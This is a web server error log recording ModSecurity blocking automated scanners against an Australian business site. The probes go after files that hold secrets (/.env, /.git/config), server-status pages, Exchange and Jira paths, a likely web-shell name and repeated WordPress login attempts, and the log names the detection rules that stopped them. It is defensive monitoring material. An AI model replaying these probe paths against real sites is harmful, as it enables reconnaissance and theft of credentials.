[Wed Nov 12 13:42:01.407930 2025] [:error] [pid 60097:tid 60150] [client 138.197.191.87:42124] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/about"] [unique_id "aRQeKcdT5oio_TbWpi8mKAAAAMQ"]
[Wed Nov 12 13:42:02.189909 2025] [:error] [pid 12744:tid 12751] [client 138.197.191.87:42140] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/debug/default/view"] [unique_id "aRQeKp1cp_ouUvkFj0XdRgAAAQM"]
[Wed Nov 12 13:42:03.312468 2025] [:error] [pid 12744:tid 12750] [client 138.197.191.87:42148] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/v2/_catalog"] [unique_id "aRQeK51cp_ouUvkFj0XdSQAAAQI"]
[Wed Nov 12 13:42:04.099412 2025] [:error] [pid 60180:tid 60193] [client 138.197.191.87:42158] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRQeLFhgd7ccS8EZg1rnXQAAAUs"]
[Wed Nov 12 13:42:04.894277 2025] [:error] [pid 60096:tid 60140] [client 138.197.191.87:42160] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/server-status"] [unique_id "aRQeLDmzkhCvvk8DXOxQgwAAAI0"]
[Wed Nov 12 13:42:05.623361 2025] [:error] [pid 60096:tid 60153] [client 138.197.191.87:42170] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/login.action"] [unique_id "aRQeLTmzkhCvvk8DXOxQhgAAAJQ"]
[Wed Nov 12 13:42:06.346730 2025] [:error] [pid 60180:tid 60182] [client 138.197.191.87:42180] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/_all_dbs"] [unique_id "aRQeLlhgd7ccS8EZg1rnYAAAAUA"]
[Wed Nov 12 13:42:07.076453 2025] [:error] [pid 60180:tid 60189] [client 138.197.191.87:42182] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/.DS_Store"] [unique_id "aRQeL1hgd7ccS8EZg1rnYgAAAUc"]
[Wed Nov 12 13:42:07.800371 2025] [:error] [pid 60405:tid 60419] [client 138.197.191.87:42188] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRQeL3MGv_mlVi6mf5qf3gAAAAs"]
[Wed Nov 12 13:42:08.530751 2025] [:error] [pid 60405:tid 60416] [client 138.197.191.87:42200] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRQeMHMGv_mlVi6mf5qf4gAAAAg"]
[Wed Nov 12 13:42:09.271714 2025] [:error] [pid 60405:tid 60414] [client 138.197.191.87:33934] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRQeMXMGv_mlVi6mf5qf4wAAAAY"]
[Wed Nov 12 13:42:10.028596 2025] [:error] [pid 60180:tid 60198] [client 138.197.191.87:33950] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "aRQeMlhgd7ccS8EZg1rnbgAAAVA"]
[Wed Nov 12 13:42:10.810719 2025] [:error] [pid 60097:tid 60154] [client 138.197.191.87:33964] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/telescope/requests"] [unique_id "aRQeMsdT5oio_TbWpi8mNAAAAMY"]
[Wed Nov 12 13:42:11.675990 2025] [:error] [pid 60405:tid 60416] [client 138.197.191.87:33972] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aRQeM3MGv_mlVi6mf5qf6QAAAAg"]
[Wed Nov 12 13:42:12.502521 2025] [:error] [pid 60096:tid 60151] [client 138.197.191.87:33980] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRQeNDmzkhCvvk8DXOxQjAAAAJM"]
[Wed Nov 12 13:44:13.583056 2025] [:error] [pid 12744:tid 12755] [client 185.102.115.31:38648] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Nov 12 13:59:40.953096 2025] [:error] [pid 60097:tid 60171] [client 46.37.234.21:58644] [client 46.37.234.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.37.234.21, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRQiTMdT5oio_TbWpi8r-QAAANI"]
[Wed Nov 12 13:59:40.960096 2025] [:error] [pid 60097:tid 60171] [client 46.37.234.21:58644] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 15:02:36.965438 2025] [:error] [pid 60097:tid 60160] [client 154.38.173.241:33590] [client 154.38.173.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.173.241, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRQxDMdT5oio_TbWpi8-rQAAAMc"]
[Wed Nov 12 15:02:36.992781 2025] [:error] [pid 60097:tid 60160] [client 154.38.173.241:33590] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 15:28:35.422380 2025] [:error] [pid 60405:tid 60430] [client 104.244.72.193:6519] [client 104.244.72.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.72.193, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRQ3I3MGv_mlVi6mf5rCTgAAABY"]
[Wed Nov 12 15:28:35.427554 2025] [:error] [pid 60405:tid 60430] [client 104.244.72.193:6519] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 15:51:21.259834 2025] [:error] [pid 60097:tid 60177] [client 103.247.20.83:52016] [client 103.247.20.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRQ8ecdT5oio_TbWpi9J5wAAANg"]
[Wed Nov 12 15:51:21.750662 2025] [:error] [pid 60180:tid 60183] [client 103.247.20.83:52032] [client 103.247.20.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "aRQ8eVhgd7ccS8EZg1oOzAAAAUE"]
[Wed Nov 12 15:51:22.306510 2025] [:error] [pid 60180:tid 60206] [client 103.247.20.83:52036] [client 103.247.20.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/env/.env"] [unique_id "aRQ8elhgd7ccS8EZg1oO0AAAAVg"]
[Wed Nov 12 16:14:58.163579 2025] [:error] [pid 60095:tid 60113] [client 159.203.109.18:60058] [client 159.203.109.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.109.18, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRRCAnlw2elroagFF1oM2gAAAE4"]
[Wed Nov 12 16:14:58.172919 2025] [:error] [pid 60095:tid 60113] [client 159.203.109.18:60058] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 17:23:25.922078 2025] [:error] [pid 60097:tid 60172] [client 147.182.255.70:38628] [client 147.182.255.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.255.70, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRRSDcdT5oio_TbWpi9krQAAANM"]
[Wed Nov 12 17:23:25.930177 2025] [:error] [pid 60097:tid 60172] [client 147.182.255.70:38628] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 18:29:35.068650 2025] [:error] [pid 60097:tid 60171] [client 104.244.74.116:41817] [client 104.244.74.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.74.116, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRRhj8dT5oio_TbWpi92JgAAANI"]
[Wed Nov 12 18:29:35.074309 2025] [:error] [pid 60097:tid 60171] [client 104.244.74.116:41817] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 18:32:39.283006 2025] [:error] [pid 12744:tid 12769] [client 158.160.109.116:44620] [client 158.160.109.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.160.109.116, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRRiR51cp_ouUvkFj0VWMQAAARU"]
[Wed Nov 12 18:32:39.291219 2025] [:error] [pid 12744:tid 12769] [client 158.160.109.116:44620] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 19:44:43.067262 2025] [:error] [pid 23737:tid 23764] [client 51.89.116.113:34343] [client 51.89.116.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.116.113, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRRzKxQUsVVfOZWgW_W28wAAAY8"]
[Wed Nov 12 19:44:43.076119 2025] [:error] [pid 23737:tid 23764] [client 51.89.116.113:34343] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 20:55:16.951120 2025] [:error] [pid 60095:tid 60120] [client 59.125.102.226:46406] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.226, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRSDtHlw2elroagFF1pI5gAAAFU"]
[Wed Nov 12 20:55:16.958566 2025] [:error] [pid 60095:tid 60120] [client 59.125.102.226:46406] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 21:09:10.786409 2025] [:error] [pid 60096:tid 60128] [client 205.185.120.118:30961] [client 205.185.120.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.120.118, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRSG9jmzkhCvvk8DXOy-HQAAAII"]
[Wed Nov 12 21:09:10.789981 2025] [:error] [pid 60096:tid 60128] [client 205.185.120.118:30961] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 21:57:17.484993 2025] [:error] [pid 60405:tid 60427] [client 54.38.208.175:58962] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.208.175, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRSSPXMGv_mlVi6mf5om0gAAABM"]
[Wed Nov 12 21:57:17.491331 2025] [:error] [pid 60405:tid 60427] [client 54.38.208.175:58962] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 22:30:05.459856 2025] [:error] [pid 60097:tid 60175] [client 34.72.179.202:47522] [client 34.72.179.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRSZ7cdT5oio_TbWpi-nDAAAANY"]
[Wed Nov 12 23:02:03.705642 2025] [:error] [pid 60180:tid 60192] [client 181.188.173.106:45246] [client 181.188.173.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.188.173.106, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRSha1hgd7ccS8EZg1p25gAAAUo"]
[Wed Nov 12 23:02:03.711898 2025] [:error] [pid 60180:tid 60192] [client 181.188.173.106:45246] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 00:09:54.559990 2025] [:error] [pid 60095:tid 60113] [client 213.186.179.73:36698] [client 213.186.179.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.186.179.73, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRSxUnlw2elroagFF1psPAAAAE4"]
[Thu Nov 13 00:09:54.566576 2025] [:error] [pid 60095:tid 60113] [client 213.186.179.73:36698] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 00:15:35.341879 2025] [:error] [pid 12744:tid 12760] [client 104.244.74.116:12665] [client 104.244.74.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.74.116, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRSyp51cp_ouUvkFj0WrmQAAAQw"], referer: https://www.yahoo.com/
[Thu Nov 13 00:15:35.345823 2025] [:error] [pid 12744:tid 12760] [client 104.244.74.116:12665] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Thu Nov 13 01:13:24.493945 2025] [:error] [pid 60096:tid 60146] [client 91.107.201.3:36186] [client 91.107.201.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.107.201.3, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRTANDmzkhCvvk8DXOzo4gAAAJE"]
[Thu Nov 13 01:13:24.502872 2025] [:error] [pid 60096:tid 60146] [client 91.107.201.3:36186] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 02:15:42.183465 2025] [:error] [pid 60097:tid 60163] [client 185.126.20.94:45846] [client 185.126.20.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.126.20.94, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRTOzsdT5oio_TbWpi_RsAAAAMo"]
[Thu Nov 13 02:15:42.189633 2025] [:error] [pid 60097:tid 60163] [client 185.126.20.94:45846] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 03:21:18.077601 2025] [:error] [pid 23737:tid 23760] [client 35.242.254.186:55582] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.242.254.186, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRTeLhQUsVVfOZWgW_VJfwAAAYs"]
[Thu Nov 13 03:21:18.083942 2025] [:error] [pid 23737:tid 23760] [client 35.242.254.186:55582] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 03:48:35.391922 2025] [:error] [pid 3381:tid 3421] [client 107.189.1.5:5209] [client 107.189.1.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.1.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRTkk6X_ueaHmIKf2viLuQAAAEM"], referer: https://www.google.com/
[Thu Nov 13 03:48:35.396489 2025] [:error] [pid 3381:tid 3421] [client 107.189.1.5:5209] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Thu Nov 13 04:25:04.780739 2025] [:error] [pid 51491:tid 51504] [client 51.81.107.180:40220] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Thu Nov 13 04:32:14.644517 2025] [:error] [pid 51406:tid 51458] [client 178.128.250.184:52562] [client 178.128.250.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.250.184, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRTuznJ88_IXhWnPqG9bxwAAAFQ"]
[Thu Nov 13 04:32:14.653281 2025] [:error] [pid 51406:tid 51458] [client 178.128.250.184:52562] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 05:46:51.540234 2025] [:error] [pid 22566:tid 22581] [client 42.117.212.153:46222] [client 42.117.212.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 42.117.212.153, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRUASzfdqWaUbu3e06-LngAAAQ0"]
[Thu Nov 13 05:46:51.559515 2025] [:error] [pid 22566:tid 22581] [client 42.117.212.153:46222] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 06:54:17.735122 2025] [:error] [pid 34451:tid 34457] [client 148.113.204.52:43408] [client 148.113.204.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.113.204.52, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRUQGTRcD8KetQb4RaqawAAAAUQ"]
[Thu Nov 13 06:54:17.741528 2025] [:error] [pid 34451:tid 34457] [client 148.113.204.52:43408] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 07:45:04.816518 2025] [:error] [pid 34451:tid 34468] [client 85.203.36.133:52003] [client 85.203.36.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRUcADRcD8KetQb4Raqr_AAAAU8"]
[Thu Nov 13 09:01:56.307614 2025] [:error] [pid 22307:tid 22312] [client 57.129.79.233:33246] [client 57.129.79.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.129.79.233, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRUuBKr7fLMQQanZ_9y6qwAAAMM"]
[Thu Nov 13 09:01:56.317280 2025] [:error] [pid 22307:tid 22312] [client 57.129.79.233:33246] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 09:24:40.105449 2025] [:error] [pid 34451:tid 34454] [client 2.58.56.199:58486] [client 2.58.56.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/postnews.php"] [unique_id "aRUzWDRcD8KetQb4RarTCAAAAUE"]
[Thu Nov 13 09:24:40.605471 2025] [:error] [pid 22307:tid 22331] [client 2.58.56.199:59243] [client 2.58.56.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aRUzWKr7fLMQQanZ_9y_MAAAANY"]
[Thu Nov 13 09:24:41.102846 2025] [:error] [pid 22307:tid 22328] [client 2.58.56.199:60258] [client 2.58.56.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aRUzWar7fLMQQanZ_9y_MgAAANM"]
[Thu Nov 13 10:09:29.619897 2025] [:error] [pid 32822:tid 32844] [client 107.189.1.5:60939] [client 107.189.1.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.1.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRU92fTm5EvopNqK8LEfOQAAABI"], referer: https://www.yahoo.com/
[Thu Nov 13 10:09:29.624525 2025] [:error] [pid 32822:tid 32844] [client 107.189.1.5:60939] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Thu Nov 13 10:12:16.625139 2025] [:error] [pid 32822:tid 32842] [client 62.218.30.118:50646] [client 62.218.30.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.218.30.118, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRU-gPTm5EvopNqK8LEgNAAAABA"]
[Thu Nov 13 10:12:16.634965 2025] [:error] [pid 32822:tid 32842] [client 62.218.30.118:50646] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
